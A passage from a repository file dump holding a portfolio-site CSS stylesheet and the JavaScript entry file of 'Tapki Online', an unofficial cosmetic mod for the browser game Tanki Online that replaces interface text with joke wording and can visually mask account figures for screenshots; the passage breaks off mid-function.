    "content": "/* Developed with ❤️ by DosX :: https://dosx.su */\n\n/* Reset & Base Styles */\n* {\n    margin: 0;\n    padding: 0;\n    box-sizing: border-box;\n}\n\n:root {\n    --primary-color: #00A8FF;\n    --secondary-color: #0088CC;\n    --dark-bg: #0A0E1A;\n    --dark-card: #131824;\n    --text-primary: #FFFFFF;\n    --text-secondary: #A0A8B8;\n    --accent-gradient: linear-gradient(135deg, #00A8FF 0%, #0088CC 100%);\n    --shadow-sm: 0 2px 8px rgba(0, 0, 0, 0.1);\n    --shadow-md: 0 4px 16px rgba(0, 0, 0, 0.15);\n    --shadow-lg: 0 8px 32px rgba(0, 168, 255, 0.15);\n    --transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);\n}\n\nhtml {\n    scroll-behavior: smooth;\n}\n\nbody {\n    font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;\n    background-color: var(--dark-bg);\n    color: var(--text-primary);\n    line-height: 1.6;\n    overflow-x: hidden;\n}\n\n.container {\n    max-width: 1200px;\n    margin: 0 auto;\n    padding: 0 20px;\n}\n\n/* Navigation */\n.navbar {\n    position: fixed;\n    top: 0;\n    width: 100%;\n    background: rgba(10, 14, 26, 0.95);\n    backdrop-filter: blur(10px);\n    z-index: 1000;\n    border-bottom: 1px solid rgba(255, 255, 255, 0.05);\n    transition: var(--transition);\n}\n\n.nav-content {\n    display: flex;\n    justify-content: space-between;\n    align-items: center;\n    padding: 20px 0;\n}\n\n.logo {\n    font-size: 24px;\n    font-weight: 800;\n    color: var(--text-primary);\n    text-decoration: none;\n    letter-spacing: 2px;\n    transition: var(--transition);\n}\n\n.logo:hover {\n    color: var(--primary-color);\n}\n\n.nav-menu {\n    display: flex;\n    list-style: none;\n    gap: 40px;\n}\n\n.nav-menu a {\n    color: var(--text-secondary);\n    text-decoration: none;\n    font-weight: 500;\n    font-size: 15px;\n    transition: var(--transition);\n    position: relative;\n}\n\n.nav-menu a::after {\n    content: '';\n    position: absolute;\n    bottom: -5px;\n    left: 0;\n    width: 0;\n    height: 2px;\n    background: var(--accent-gradient);\n    transition: var(--transition);\n}\n\n.nav-menu a:hover {\n    color: var(--text-primary);\n}\n\n.nav-menu a:hover::after {\n    width: 100%;\n}\n\n.btn-primary {\n    display: inline-block;\n    background: var(--accent-gradient);\n    color: var(--text-primary);\n    border: none;\n    padding: 12px 28px;\n    border-radius: 50px;\n    font-weight: 600;\n    font-size: 14px;\n    text-decoration: none;\n    cursor: pointer;\n    transition: var(--transition);\n    box-shadow: var(--shadow-md);\n}\n\n.btn-primary:hover {\n    transform: translateY(-2px);\n    box-shadow: var(--shadow-lg);\n}\n\n.burger-menu {\n    display: none;\n    flex-direction: column;\n    gap: 5px;\n    cursor: pointer;\n}\n\n.burger-menu span {\n    width: 25px;\n    height: 3px;\n    background: var(--text-primary);\n    border-radius: 3px;\n    transition: var(--transition);\n}\n\n/* Hero Section */\n.hero {\n    position: relative;\n    min-height: 100vh;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    text-align: center;\n    overflow: hidden;\n    background: linear-gradient(135deg, #0A0E1A 0%, #131824 100%);\n}\n\n.hero-gradient {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    background: radial-gradient(circle at 50% 50%, rgba(0, 168, 255, 0.15) 0%, transparent 70%);\n    pointer-events: none;\n}\n\n.hero-content {\n    position: relative;\n    z-index: 1;\n    padding: 40px 20px;\n}\n\n.hero-title {\n    font-size: clamp(48px, 10vw, 120px);\n    font-weight: 900;\n    letter-spacing: 8px;\n    margin-bottom: 20px;\n    background: linear-gradient(135deg, #FFFFFF 0%, #00A8FF 100%);\n    -webkit-background-clip: text;\n    -webkit-text-fill-color: transparent;\n    background-clip: text;\n    animation: fadeInUp 1s ease-out;\n}\n\n.hero-subtitle {\n    font-size: clamp(18px, 3vw, 24px);\n    color: var(--text-secondary);\n    margin-bottom: 40px;\n    font-weight: 400;\n    animation: fadeInUp 1s ease-out 0.2s both;\n}\n\n.btn-hero {\n    display: inline-block;\n    background: var(--accent-gradient);\n    color: var(--text-primary);\n    border: none;\n    padding: 18px 48px;\n    border-radius: 50px;\n    font-weight: 600;\n    font-size: 16px;\n    text-decoration: none;\n    cursor: pointer;\n    transition: var(--transition);\n    box-shadow: var(--shadow-lg);\n    animation: fadeInUp 1s ease-out 0.4s both;\n}\n\n.btn-hero:hover {\n    transform: translateY(-4px);\n    box-shadow: 0 12px 48px rgba(0, 168, 255, 0.3);\n}\n\n@keyframes fadeInUp {\n    from {\n        opacity: 0;\n        transform: translateY(30px);\n    }\n    to {\n        opacity: 1;\n        transform: translateY(0);\n    }\n}\n\n/* Section Styling */\nsection {\n    padding: 100px 0;\n}\n\n.section-header {\n    text-align: center;\n    margin-bottom: 60px;\n}\n\n.section-title {\n    font-size: clamp(32px, 5vw, 48px);\n    font-weight: 800;\n    margin-bottom: 20px;\n    letter-spacing: 2px;\n}\n\n.title-line {\n    width: 80px;\n    height: 4px;\n    background: var(--accent-gradient);\n    margin: 0 auto;\n    border-radius: 2px;\n}\n\n/* About Section */\n.about {\n    background: var(--dark-card);\n}\n\n.about-content {\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    gap: 60px;\n    align-items: center;\n}\n\n.about-text p {\n    font-size: 18px;\n    line-height: 1.8;\n    color: var(--text-secondary);\n    margin-bottom: 20px;\n}\n\n.about-text strong {\n    color: var(--primary-color);\n    font-weight: 700;\n}\n\n.highlight {\n    color: var(--text-primary) !important;\n    font-weight: 600;\n    font-size: 20px !important;\n}\n\n.about-stats {\n    display: grid;\n    grid-template-columns: repeat(3, 1fr);\n    gap: 30px;\n}\n\n.stat-item {\n    text-align: center;\n    padding: 35px 20px;\n    background: var(--dark-bg);\n    border-radius: 16px;\n    transition: var(--transition);\n    border: 1px solid rgba(255, 255, 255, 0.05);\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n    min-height: 160px;\n}\n\n.stat-item:hover {\n    transform: translateY(-5px);\n    border-color: var(--primary-color);\n    box-shadow: var(--shadow-lg);\n}\n\n.stat-number {\n    font-size: 56px;\n    font-weight: 800;\n    background: var(--accent-gradient);\n    -webkit-background-clip: text;\n    -webkit-text-fill-color: transparent;\n    background-clip: text;\n    margin-bottom: 12px;\n    line-height: 1;\n    min-height: 56px;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n}\n\n.stat-label {\n    font-size: 13px;\n    color: var(--text-secondary);\n    text-transform: uppercase;\n    letter-spacing: 1px;\n    line-height: 1.4;\n    min-height: 36px;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n}\n\n/* Portfolio Section */\n.portfolio-grid {\n    display: grid;\n    grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));\n    gap: 30px;\n}\n\n.portfolio-item {\n    background: var(--dark-card);\n    border-radius: 16px;\n    overflow: hidden;\n    transition: var(--transition);\n    border: 1px solid rgba(255, 255, 255, 0.05);\n}\n\n.portfolio-item:hover {\n    transform: translateY(-8px);\n    box-shadow: var(--shadow-lg);\n    border-color: var(--primary-color);\n}\n\n.portfolio-image {\n    width: 100%;\n    height: 250px;\n    background: linear-gradient(135deg, #131824 0%, #1a2030 100%);\n    display: flex;\n    align-items: center;\n    justify-content: center;\n}\n\n.portfolio-placeholder {\n    color: var(--primary-color);\n    opacity: 0.3;\n    transition: var(--transition);\n}\n\n.portfolio-item:hover .portfolio-placeholder {\n    opacity: 0.6;\n    transform: scale(1.1);\n}\n\n.portfolio-info {\n    padding: 25px;\n}\n\n.portfolio-info h3 {\n    font-size: 20px;\n    font-weight: 700;\n    margin-bottom: 12px;\n    color: var(--text-primary);\n}\n\n.portfolio-link {\n    color: var(--primary-color);\n    text-decoration: none;\n    font-size: 14px;\n    font-weight: 500;\n    transition: var(--transition);\n}\n\n.portfolio-link:hover {\n    color: var(--text-primary);\n}\n\n/* Services Section */\n.services {\n    background: var(--dark-card);\n}\n\n.services-grid {\n    display: grid;\n    grid-template-columns: repeat(4, 1fr);\n    gap: 25px;\n    margin-bottom: 40px;\n    align-items: stretch;\n}\n\n.service-card {\n    background: var(--dark-bg);\n    padding: 40px 30px;\n    border-radius: 16px;\n    text-align: center;\n    transition: var(--transition);\n    border: 1px solid rgba(255, 255, 255, 0.05);\n    display: flex;\n    flex-direction: column;\n    justify-content: flex-start;\n    min-height: 380px;\n}\n\n.service-card:hover {\n    transform: translateY(-8px);\n    box-shadow: var(--shadow-lg);\n    border-color: var(--primary-color);\n}\n\n.service-icon {\n    width: 80px;\n    height: 80px;\n    margin: 0 auto 25px;\n    background: var(--accent-gradient);\n    border-radius: 50%;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    color: var(--text-primary);\n}\n\n.service-card h3 {\n    font-size: 20px;\n    font-weight: 700;\n    margin-bottom: 15px;\n    color: var(--text-primary);\n    min-height: 80px;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    line-height: 1.3;\n}\n\n.service-price {\n    font-size: 28px;\n    font-weight: 800;\n    color: var(--primary-color);\n    margin-bottom: 15px;\n    min-height: 42px;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n}\n\n.service-description {\n    font-size: 14px;\n    color: var(--text-secondary);\n    line-height: 1.6;\n}\n\n.other-services {\n    text-align: center;\n    margin-top: 40px;\n}\n\n.btn-link {\n    color: var(--primary-color);\n    text-decoration: none;\n    font-size: 18px;\n    font-weight: 600;\n    transition: var(--transition);\n    position: relative;\n    padding-bottom: 5px;\n}\n\n.btn-link::after {\n    content: '';\n    position: absolute;\n    bottom: 0;\n    left: 0;\n    width: 100%;\n    height: 2px;\n    background: var(--accent-gradient);\n    transition: var(--transition);\n}\n\n.btn-link:hover {\n    color: var(--text-primary);\n}\n\n/* Contacts Section */\n.social-links {\n    display: grid;\n    grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));\n    gap: 30px;\n}\n\n.social-card {\n    display: flex;\n    align-items: center;\n    gap: 25px;\n    padding: 30px;\n    background: var(--dark-card);\n    border-radius: 16px;\n    text-decoration: none;\n    transition: var(--transition);\n    border: 1px solid rgba(255, 255, 255, 0.05);\n}\n\n.social-card:hover {\n    transform: translateY(-5px);\n    box-shadow: var(--shadow-lg);\n    border-color: var(--primary-color);\n}\n\n.social-icon {\n    width: 64px;\n    height: 64px;\n    background: var(--accent-gradient);\n    border-radius: 50%;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    color: var(--text-primary);\n    flex-shrink: 0;\n    transition: var(--transition);\n}\n\n.social-icon img {\n    filter: brightness(0) invert(1);\n    width: 25px;\n    height: 25px;\n    object-fit: contain;\n    display: block;\n    margin: 0 auto;\n}\n\n.social-card:hover .social-icon {\n    transform: scale(1.1);\n}\n\n.social-info h3 {\n    font-size: 20px;\n    font-weight: 700;\n    color: var(--text-primary);\n    margin-bottom: 8px;\n}\n\n.social-info p {\n    font-size: 14px;\n    color: var(--text-secondary);\n}\n\n/* Client Info Section */\n.client-info {\n    background: var(--dark-card);\n}\n\n.info-content {\n    max-width: 900px;\n    margin: 0 auto;\n}\n\n.info-block {\n    display: flex;\n    align-items: center;\n    gap: 20px;\n    padding: 25px;\n    background: rgba(255, 193, 7, 0.1);\n    border-left: 4px solid #FFC107;\n    border-radius: 8px;\n    margin-bottom: 40px;\n}\n\n.info-icon {\n    font-size: 32px;\n}\n\n.info-block p {\n    font-size: 16px;\n    line-height: 1.6;\n}\n\n.info-list {\n    display: flex;\n    flex-direction: column;\n    gap: 25px;\n}\n\n.info-item {\n    display: flex;\n    gap: 20px;\n    padding: 20px;\n    background: var(--dark-bg);\n    border-radius: 12px;\n    border: 1px solid rgba(255, 255, 255, 0.05);\n    transition: var(--transition);\n}\n\n.info-item:hover {\n    border-color: var(--primary-color);\n    transform: translateX(5px);\n}\n\n.info-bullet {\n    font-size: 24px;\n    flex-shrink: 0;\n}\n\n.info-text p {\n    font-size: 15px;\n    line-height: 1.7;\n    color: var(--text-secondary);\n}\n\n.info-text a,\n.scroll-link {\n    color: var(--primary-color);\n    text-decoration: none;\n    font-weight: 600;\n    transition: var(--transition);\n}\n\n.info-text a:hover,\n.scroll-link:hover {\n    color: var(--text-primary);\n}\n\n/* Footer */\n.footer {\n    background: var(--dark-bg);\n    padding: 40px 0;\n    border-top: 1px solid rgba(255, 255, 255, 0.05);\n}\n\n.footer-content {\n    text-align: center;\n}\n\n.footer-text {\n    font-size: 14px;\n    color: var(--text-secondary);\n    margin-bottom: 8px;\n}\n\n.footer-credit {\n    font-size: 12px;\n    color: var(--text-secondary);\n    opacity: 0.5;\n}\n\n.heart {\n    color: #e74c3c;\n    display: inline-block;\n    animation: heartbeat 1.5s ease-in-out infinite;\n}\n\n.dosx {\n    color: white;\n}\n\n@keyframes heartbeat {\n    0%, 100% { transform: scale(1); }\n    25% { transform: scale(1.1); }\n    50% { transform: scale(1); }\n}\n\n/* Responsive Design */\n@media (max-width: 1400px) {\n    .services-grid {\n        grid-template-columns: repeat(3, 1fr);\n        gap: 25px;\n    }\n}\n\n@media (max-width: 1200px) {\n    .portfolio-grid {\n        grid-template-columns: repeat(3, 1fr);\n    }\n\n    .services-grid {\n        grid-template-columns: repeat(2, 1fr);\n    }\n}\n\n@media (max-width: 968px) {\n    .nav-menu {\n        position: fixed;\n        top: 80px;\n        left: -100%;\n        flex-direction: column;\n        background: rgba(10, 14, 26, 0.98);\n        backdrop-filter: blur(20px);\n        width: 100%;\n        padding: 40px;\n        gap: 20px;\n        border-top: 1px solid rgba(255, 255, 255, 0.05);\n        transition: var(--transition);\n    }\n\n    .nav-menu.active {\n        left: 0;\n    }\n\n    .burger-menu {\n        display: flex;\n    }\n\n    .navbar .btn-primary {\n        display: none;\n    }\n\n    .about-content {\n        grid-template-columns: 1fr;\n        gap: 40px;\n    }\n\n    .about-stats {\n        grid-template-columns: repeat(3, 1fr);\n        gap: 15px;\n    }\n\n    .stat-item {\n        padding: 20px 15px;\n    }\n\n    .stat-number {\n        font-size: 32px;\n    }\n\n    .portfolio-grid {\n        grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));\n        gap: 20px;\n    }\n\n    .services-grid {\n        grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));\n        gap: 20px;\n    }\n\n    .service-card {\n        min-height: auto;\n    }\n\n    .service-card h3 {\n        min-height: auto;\n    }\n\n    .social-links {\n        grid-template-columns: 1fr;\n        gap: 20px;\n    }\n\n    .modal-content {\n        padding: 35px 25px;\n    }\n}\n\n@media (max-width: 768px) {\n    .portfolio-grid {\n        grid-template-columns: repeat(2, 1fr);\n    }\n\n    .services-grid {\n        grid-template-columns: 1fr;\n    }\n}\n\n@media (max-width: 600px) {\n    section {\n        padding: 60px 0;\n    }\n\n    .hero-title {\n        font-size: 48px;\n        letter-spacing: 4px;\n    }\n\n    .hero-subtitle {\n        font-size: 16px;\n    }\n\n    .btn-hero {\n        padding: 14px 32px;\n        font-size: 14px;\n    }\n\n    .section-title {\n        font-size: 32px;\n    }\n\n    .about-stats {\n        grid-template-columns: 1fr;\n        gap: 20px;\n    }\n\n    .stat-number {\n        font-size: 42px;\n    }\n\n    .portfolio-grid {\n        grid-template-columns: 1fr;\n    }\n\n    .services-grid {\n        grid-template-columns: 1fr;\n    }\n\n    .info-item {\n        flex-direction: column;\n        align-items: flex-start;\n        gap: 15px;\n    }\n}\n\n/* Custom Scrollbar */\n::-webkit-scrollbar {\n    width: 10px;\n}\n\n::-webkit-scrollbar-track {\n    background: var(--dark-bg);\n}\n\n::-webkit-scrollbar-thumb {\n    background: var(--primary-color);\n    border-radius: 5px;\n}\n\n::-webkit-scrollbar-thumb:hover {\n    background: var(--secondary-color);\n}\n\n/* Selection */\n::selection {\n    background: var(--primary-color);\n    color: var(--text-primary);\n}\n\n/* Winter Snow Effect */\n#snow-container {\n    position: fixed;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    pointer-events: none;\n    z-index: 9999;\n    overflow: hidden;\n}\n\n.snowflake {\n    position: absolute;\n    top: -20px;\n    color: #fff;\n    user-select: none;\n    pointer-events: none;\n    animation: fall linear infinite;\n    transition: opacity 0.8s ease;\n}\n\n@keyframes fall {\n    0% {\n        transform: translateY(0) rotate(0deg);\n    }\n    100% {\n        transform: translateY(110vh) rotate(360deg);\n    }\n}"
  },
  {
    "path": "tanki-online-unoff-client/TapkiOnline/app/entry.js",
    "content": "/*\nTapki Online mod by DosX\n\nТелеграм => @DosX_Plus\n*/\n\nconst dev = [\"log\", \"info\", \"warn\", \"error\", \"debug\"].reduce((obj, method) => { // Процедура упрощения создания логов через stdConsole ( ... )\n    obj[method] = (...args) => stdConsole(method, ...args); // Создаем свойство с именем, соответствующим текущему элементу массива method, его значением является стрелочная функция (ей передаётся всё содержимое аргументов)\n    return obj; // Возвращаем объект obj для использования в следующей итерации цикла reduce\n}, {});\n\nfunction stdConsole(functionName, message) { // Обнуление и вызов процедур вывода логов console.*\n    if (!isNative(console[functionName])) window.console = ((document.body.appendChild(document.createElement(\"iframe\"))).style.display = \"none\").contentWindow.console;\n    console[functionName](message);\n}\n\nfunction isNative(f) { // Процедура проверки функций на нативность\n    return !!f && (typeof f).toLowerCase() == \"function\" &&\n        (f === Function.prototype ||\n            /^\\s*function\\s*(\\b[a-z$_][a-z0-9$_]*\\b)*\\s*\\((|([a-z$_][a-z0-9$_]*)(\\s*,[a-z$_][a-z0-9$_]*)*)\\)\\s*{\\s*\\[native code\\]\\s*}\\s*$/i.test(String(f)));\n}\n\nfunction measureTime(func, ...args) {\n    const start = performance.now();\n    func(...args);\n    const end = performance.now();\n    dev.log(`Функция выполнялась ${end - start} миллисекунд`);\n}\n\nfunction formatNumber(inNumber) { return inNumber.toString().replace(/\\B(?=(\\d{3})+(?!\\d))/g, \" \"); }\nfunction getRandomNumber(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; }\nfunction getRandomArrayElement(arr) { return arr[getRandomNumber(0, arr.length - 1)]; }\nfunction getMainDomain(url) { return url.replace(/^(https?:\\/\\/)?(www\\.)?/, '').split('/')[0].split('.').slice(-2).join('.'); }\n\nconst root = document.location.href.split(\"/\")[3],\n    mainServer = root == 'play', testServer = root == 'browser-public';\n\nif (getMainDomain(document.domain) == 'tankionline.com' &&\n    (mainServer || testServer)) {\n\n    if (testServer) document.title += \" ( !!!! Тестовый сервер !!!! )\"\n\n    document.title += \" (modded with Tapki Online by DosX)\"\n\n    let langParam = localStorage.getItem(\"language_store_key\");\n    if (langParam && langParam !== \"RU\") {\n        alert(\"Включите русский язык для корректной работы Tapki Online!\");\n    }\n\n    function replaceText(patternSearch, patternReplace) {\n        for (const aTag of document.querySelectorAll(\"span, h1, h2, h3, p, label\")) {\n            if (aTag.textContent.toLowerCase() === patternSearch.toLowerCase()) {\n                aTag.textContent = patternReplace;\n                return;\n            }\n        }\n    }\n\n    (async () => {\n        dev.log(\"TAPKI ONLINE LOADED! :)\"); // Модификация загружена\n\n        setInterval(() => { updateMenuElements(); }, 100);\n\n        setInterval(() => { updatePlayButtonText() }, 1200);\n\n        setInterval(() => { updateUITexts(); }, 35);\n    })();\n\n\n    function updateMenuElements() {\n\n        [\n            {\n                element: document.getElementsByClassName(\"UserInfoContainerStyle-blockForIconTankiOnline\")[0],\n                newSource: \"<span style=\\\"color: white; font-family: RubikRegular; font-size: 1.8vw;\\\"><b>ТАПКИ ОНЛАЙН\" + testServer ? \": ТЕСТ!\" : \"\" + \"</b></span>\"\n            },\n            {\n                element: document.getElementsByClassName(\"StartScreenComponentStyle-loadingBlock\")[0],\n                newSource: \"<span style=\\\"color: white; font-family: RubikRegular; font-size: 22px;\\\">Тыкай любую кнопочку</span>\"\n            },\n            {\n                element: document.getElementById(\"loading-text\"),\n                newSource: \"ЗАГРУЗОЧКА ТАНКЕСКИ\"\n            }\n        ].forEach(({ element, newSource }) => {\n            if (element && element.innerHTML !== newSource) {\n                element.innerHTML = newSource;\n            }\n        });\n\n        const languageParam = document.getElementsByClassName(\"DropDownStyle-dropdownControl\")[0];\n        if (languageParam) {\n            try {\n                const languageControl = languageParam.querySelector(\"div div span\");\n                if (languageControl.innerText.includes(\"Русский\")) {\n                    languageParam.style = \"pointer-events: none;\";\n                    languageControl.innerText = \"Модифицированный язык (Тапки Онлайн)\";\n                }\n            } catch (exc) { }\n        }\n\n    }\n\n    /*\n    TODO:\n        LobbyLoaderComponentStyle-logo (src=\"https://tankionline.com/play/static/images/logo.e64f36db.svg\"), custom logo\n    */\n\n    function updatePlayButtonText() {\n        const playButtonContainer = document.getElementsByClassName(\"MainScreenComponentStyle-playButtonContainer\")[0],\n            newStyle = \"font-size: 1.5vw; text-align: center;\";\n        if (playButtonContainer) {\n            const playButton = playButtonContainer.querySelector(\"span\");\n            if (playButton.style !== newStyle) playButton.style = newStyle;\n            playButton.innerText = getRandomArrayElement([\n                \"Нагибать\",\n                \"Уничтожать\",\n                \"Править миром\",\n                \"Почувствовать превосходство\",\n                \"Играть\",\n                \"В бой!\",\n                \"За маму и папу\",\n                \"За родину\",\n                \"Я готов\",\n                \"Ты сможешь\",\n                \"Где раки зимуют?\",\n                \"Проявить себя\",\n                \"Служить Ореху\",\n                \"На поля сражений\"\n            ]);\n        }\n    }\n\n    function updateUITexts() {\n        try {\n            const dictionary = {\n                \"контейнеры\": \"Ящички\",\n                \"миссии\": \"Задачки\",\n                \"гараж\": \"Дом, милый дом\",\n                \"магазин\": \"За покупочками\",\n                \"настройки\": \"Настроечки\",\n                \"челленджи\": \"Квестик\",\n                \"загрузка\": \"Загрузочка любимых танчиков...\",\n                \"пушка\": \"Пушечка\",\n                \"корпус\": \"Корпусик\",\n                \"защита\": \"Резистики\",\n                \"новости\": \"Новенькое\",\n                \"быстрый бой\": \"Быстренько поиграть\",\n                \"режимы\": \"Режимчики\",\n                \"захват флага\": \"Тряпочки\",\n                \"регби\": \"Мячики\",\n                \"джаггернаут\": \"Нагибашка\",\n                \"контроль точек\": \"Захвати и убеги\",\n                \"штурм\": \"Атакуй или защити\",\n                \"pro-битвы\": \"Пофаниться\",\n                \"паркур\": \"Пинать болт\",\n                \"рельсы\": \"Лазерное шоу\",\n                \"осада\": \"Побороться за точку\",\n                \"специальный режим\": \"Отпразновать\",\n                \"танкоины\": \"Монетки\",\n                \"купить боевой пропуск\": \"Купить пропуск квестика\",\n                \"купить\": \"Ладно, давайте\",\n                \"играниченные предложения\": \"Спецухи\",\n                \"обучение\": \"Нубикам\",\n                \"выйти из игры?\": \"Выйти из танчиков?\",\n                \"премиум отсутствует\": \"А у тебя премки нет :(\",\n                \"следующая подсказка\": \"Ещё подсказочку\",\n                \"дроны\": \"Самолётики\",\n                \"пушки\": \"Пушечки\",\n                \"корпуса\": \"Корпусики\",\n                \"краски\": \"Раскрасочки\",\n                \"закрыть\": \"Уберись\",\n                \"отмена\": \"Передумал\",\n                \"игра\": \"Игрулька\",\n                \"графика\": \"Графончик\",\n                \"аккаунт\": \"Аккаунтик\",\n                \"победа!\": \"УРА УРА УРА\",\n                \"поражение\": \"У-у-у...\",\n                \"премиум аккаунт\": \"Премка\",\n                \"кристаллы\": \"Крисы\",\n                \"витрина\": \"Нара и прочий мусор\",\n                \"скидки отсутствуют\": \"Ничё нет :(\",\n                \"золотые ящики\": \"Голды\",\n                \"комплекты\": \"Комплектики\",\n                \"ядерная энергия\": \"Ядерный жмых\",\n                \"ремкомплект\": \"Аптека\",\n                \"повышенная защита\": \"Броня посильнее\",\n                \"повышенный урон\": \"Ящик пельменей\",\n                \"ускорение\": \"Буст\",\n                \"мина\": \"Какашка\",\n                \"\\\"ремкомплект\\\" \": \"\\\"Аптека\\\" \",\n                \"\\\"повышенная защита\\\" \": \"\\\"Броня посильнее\\\" \",\n                \"\\\"повышенный урон\\\" \": \"\\\"Ящик пельменей\\\" \",\n                \"\\\"ускорение\\\" \": \"\\\"Буст\\\" \",\n                \"\\\"мина\\\" \": \"\\\"Какашка\\\" \",\n                \"золотой ящик\": \"Голд\",\n                \"n2-бомба\": \"Пульт от ядерки\",\n                \"хорнет\": \"Хорёк\",\n                \"мамонт\": \"Жиробас\",\n                \"скаут-радар\": \"WallHack\",\n                \"сбой\": \"Опять эти ошибки >:O\",\n                \"подробнее\": \"Давай больше инфы\",\n                \"bfg-пушка\": \"Протухший апельсин\",\n                \"васп\": \"Малявка\",\n                \"хоппер\": \"Летак\",\n                \"огнемёт\": \"Жига\",\n                \"рельса\": \"Реля\",\n                \"подрывной прыжок\": \"Прыг\",\n                \"установить\": \"Приклеить на супер клей момент\",\n                \"установлено\": \"Приклеено супер клеем\",\n                \"купить товар\": \"Мам, ну купи\",\n                \"характеристики\": \"Характы\",\n                \"забрать\": \"Забрать божий дар\",\n                \"забрать награду\": \"Забрать божий дар\",\n                \"выполнить\": \"Заслужить\",\n                \"выполнено\": \"Забрано\",\n                \"ничья\": \"Победила дружба\",\n                \"купить премиум\": \"Дать деньги ореху за премку\",\n                \"недоступно\": \"Заплати налог!\",\n                \"друзья\": \"Друзяшки\",\n                \"завершено\": \"А уже всё\",\n                \"улучшить\": \"Проапгрейдить\",\n                \"способ оплаты\": \"Выберите способ потерять деньги\",\n                \"пожалуйста, выберите наиболее удобный для вас способ оплаты\":\n                    \"Пожалуйста, выберите наиболее удобный для вас способ проспонсировать Ореха\",\n                \"ультраконтейнеры\": \"Ультраконты\",\n                \"подсказка\": \"Назойливая подсказка\",\n                \"все миссии выполнены\": \"Ты выполнил все заданочки, молодец!\",\n                \"контейнер\": \"Ящик с хламом\",\n                \"открыть\": \"Распахнуть\",\n                \"возможные награды\": \"Возможные награды, но из всего этого тебе выпадет только мусор\",\n                \"/скины\": \"/Скинчики\",\n                \"снять все\": \"Снять с себя всё это\",\n                \"снять\": \"Скинуть с себя\",\n                \"звёзды\": \"Звёздочки\",\n                \"подтвердить\": \"Я согласен\",\n                \"сбросить все\": \"Верните всё обратно :(\",\n                \"смоки\": \"Смока\",\n                \"бесплатно\": \"Прожиточный минимум\",\n                \"боевой пропуск\": \"Премия\",\n                \"временно недоступно\": \"Ё-маё! Тут ничего нет\",\n                \"командный бой\": \"Пиу-пиу бах-бах командами\",\n                \"скрыть свой рейтинг\": \"Стыдиться своего рейтинга\",\n                \"включить\": \"А давай\",\n                \"ok\": \"Окей\",\n                \"не хватает танкоинов\": \"Монеток нет\",\n                \"подтверждение покупки\": \"А ты точно хочешь это?\",\n                \"ваш выбор\": \"Ты выбрал...\",\n                \"в сети\": \"Играет в танчики\",\n                \"бонус за вход в игру\": \"Подарок за красивые глазки\",\n                \"сменить\": \"Ну такое, давай дальше\",\n                \"следующая миссия\": \"Следующая заданка\",\n                \"max\": \"фулл\",\n                \"меню паузы\": \"Менюшка\",\n                \"друзья в сети\": \"Друзяшки в сети\",\n                \"показать все\": \"Чекнуть все\",\n                \"назад\": \"Вернуться\",\n                \"далее\": \"Дальше...\",\n                \"покупка произведена успешно\": \"Ты успешно потратился!\",\n                \"ограниченные предложения\": \"Крутые ништяки\",\n                \"специальные предложения\": \"Спецухи\",\n                \"продано\": \"Ты это забрал себе\",\n                \"звук\": \"Звучание\",\n                \"нажимая на кнопку «подтвердить», вы подтверждаете покупку за кристаллы\":\n                    \"Нажимая кнопку «Я согласен», ты подтверждаешь спуск кристаллов в трубу\",\n                \"цена: \": \"Цена с учётом НДС: \",\n                \"список битв\": \"Список битвочек\",\n                \"выбери битву\": \"Выбери битвочку\",\n                \"уничтожения\": \"Киллов\",\n                \"поддержка\": \"Помощь товарищам\",\n                \"клан\": \"Кланчик\",\n                \"гаусс\": \"Гусь\",\n                \"закрытая битва\": \"Приватка\",\n                \"ящики с бонусами\": \"Дары Ореха с небес\",\n                \"улучшения\": \"Апгрейды\",\n                \"овердрайвы\": \"Оверки\",\n                \"припасы\": \"Нара\",\n                \"создание битвы\": \"Создание битвочки\",\n                \"ваша награда\": \"Забирай этот клам\",\n                \"пригласить друга\": \"Созвать друзяшек\",\n                \"вернуться в игру [P]\": \"Э, возвращайся! [P]\",\n                \"твой танк уже ждет тебя: \": \"Твой танчик уже соскучился. Кик через \",\n                \"покинуть битву\": \"Ливнуть отсюда\",\n                \"поиск битвы\": \"Жди, жди...\",\n                \"новое звание\": \"Поздравляем с новой званкой!\",\n                \"вы собираетесь купить\": \"Ты собираешься потратиться на\",\n                \"изида\": \"Изя\",\n                \"рикошет\": \"Рик\",\n                \"среднее время ожидания\": \"Примерный тайминг\",\n                \"текущее время ожидания\": \"Ты уже ждёшь\",\n                \"новый аккаунт\": \"Зарегаться\",\n                \"авторизация\": \"Войти в свой акк\",\n                \"игровой аккаунт\": \"Акк Танчиков\",\n                \"авторизуйся через\": \"Войди в акк Танчиков\"\n            };\n\n            Object.entries(dictionary).forEach(([key, value]) => {\n                replaceText(key, value);\n            });\n\n\n        } catch (exc) {\n            dev.error(`*(Tanki Offline) ${exc}`);\n        }\n    }\n}\n\ndocument.addEventListener(\"keydown\", function (event) { // Shift + [F || А (кириллица)]\n    if (event.ctrlKey && event.shiftKey && (event.key === \"F\" || event.key === \"А\")) {\n        hideData();\n    }\n});\n\nlet hidden = false;\nfunction hideData() {\n    if (confirm(\"Визуально скрыть данные аккаунта? (для анонимного скриншота)\\n\\nДля отключения функции перезайдите в игру.\")) {\n        if (!hidden) {\n            hidden = true;\n            setInterval(() => {\n                const elements = document.querySelectorAll(\".UserScoreComponentStyle-blockRightPanel .ksc-0, .BreadcrumbsComponentStyle-rightButtonsContainer .ksc-0\");\n\n                [0, 3].forEach(element => { // 0 = кристаллы; 3 = танкоины\n                    if (elements[element]) elements[element].innerText = formatNumber(getRandomNumber(1, 9999999));\n                });\n\n                let playerInfo = 